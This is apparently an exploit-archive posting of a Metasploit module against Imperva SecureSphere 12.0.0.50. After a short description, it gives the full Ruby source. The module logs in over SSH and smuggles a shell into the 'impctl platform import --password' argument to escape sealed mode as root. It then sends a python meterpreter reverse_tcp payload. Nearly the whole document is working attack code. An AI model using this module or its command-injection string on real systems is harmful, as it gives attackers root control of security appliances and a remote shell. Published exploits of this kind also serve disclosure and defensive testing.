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SecureSphere 12.0.0.50 SealMode Shell Escape

SecureSphere 12.0.0.50 SealMode Shell Escape
Posted Aug 2, 2018
Authored by 0x09AL | Site metasploit.com

This Metasploit module exploits a vulnerability in SecureSphere cli to escape the sealed-mode of Imperva and execute code as the root user. This Metasploit module requires credentials of a user to login to the SSH or can be exploited by a less privileged user.

tags | exploit, root
MD5 | dc4e5753e6a22352b8fc80287a6a39a8

SecureSphere 12.0.0.50 SealMode Shell Escape

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::SSH

def initialize(info={})
super(update_info(info,
'Name' => "SecureSphere v12.0.0.50 - SealMode Shell Escape (root)",
'Description' => %q{
This module exploits a vulnerability in SecureSphere cli to escape
the sealed-mode of Imperva and execute code as the root user. This
module requires credentials of a user to login to the SSH or can be
exploited by a less privileged user.
},
'License' => MSF_LICENSE,
'Author' =>
[
'0x09AL', # Vulnerability Discovery and Metasploit Module
],
'References' =>
[
['URL', 'N/A']
],
'DefaultOptions' =>
{
'Payload' => 'python/meterpreter/reverse_tcp',
},
'Platform' => ['python'],
'Arch' => ARCH_PYTHON,
'Targets' => [ ['Automatic', {}] ],
'Privileged' => false,
'DisclosureDate' => "01/08/2018",
'DefaultTarget' => 0
))

register_options(
[
Opt::RHOST(),
Opt::RPORT(22),
OptString.new('USERNAME', [ true, 'The username for authentication', 'root' ]),
OptString.new('Password', [ true, 'The password for authentication', '123456' ]),
]
)

register_advanced_options(
[
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
]
)
end

def rhost
datastore['RHOST']
end

def rport
datastore['RPORT']
end

def username
datastore['USERNAME']
end

def password
datastore['PASSWORD']
end


def exploit
factory = ssh_socket_factory
ssh_options = {
:auth_methods => ['password', 'keyboard-interactive'],
:port => rport,
:use_agent => false,
:config => false,
:password => password,
:proxy => factory,
:non_interactive => true
}

ssh_options.merge!(:verbose => :debug) if datastore['SSH_DEBUG']

print_status("#{rhost}:#{rport} - Attempting to login...")

begin
ssh = nil
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
ssh = Net::SSH.start(rhost, username, ssh_options)
end
rescue Rex::ConnectionError
return
rescue Net::SSH::Disconnect, ::EOFError
print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
return
rescue ::Timeout::Error
print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
return
rescue Net::SSH::AuthenticationFailed
print_error "#{rhost}:#{rport} SSH - Failed authentication due wrong credentials."
rescue Net::SSH::Exception => e
print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
return
end

if ssh
print_good("SSH connection established successfully.")
ssh.open_channel do |channel|
channel.exec "impctl platform import --password \" & uname -a & sh\"" do |ch, success|
if success
channel.on_data do |ch, data|
if data.inspect.match(/Linux/)
print_good "Host is vulnerable"
channel.send_data "python -c \"#{payload.encoded}\"\n"
channel.close
else
print_bad "Host is not vulnerable"
channel.close
end

end
end

end
end

begin
ssh.loop unless session_created?
rescue Errno::EBADF => e
elog(e.message)
end
end
end
end

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